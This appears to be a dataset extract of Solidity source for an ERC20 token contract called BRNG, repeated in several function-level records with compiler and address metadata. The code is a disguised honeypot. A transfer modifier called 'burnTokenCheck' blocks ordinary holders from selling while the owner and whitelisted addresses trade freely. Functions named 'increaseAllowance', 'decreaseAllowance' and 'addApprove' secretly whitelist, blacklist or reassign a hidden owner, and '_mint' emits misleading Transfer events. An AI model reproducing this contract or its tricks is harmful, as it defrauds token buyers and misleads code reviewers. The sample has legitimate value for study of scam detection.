approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
decreaseAllowance
function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; }
/** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 6236, 6384 ] }
14,116
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
addApprove
function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } }
/** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 6799, 7083 ] }
14,117
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
/** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */
NatSpecMultiLine
_transfer
function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); }
/** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://e67e79d5d9259859a53dadd2ba5a58bc268df1ec21a3f7cd86d66ed054484d37
{ "func_code_index": [ 7570, 8118 ] }
14,118
BRNG
BRNG.sol
0xcf89258b3aeda18e8182f36800e0ab05de9408c4
Solidity
BRNG
contract BRNG is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * 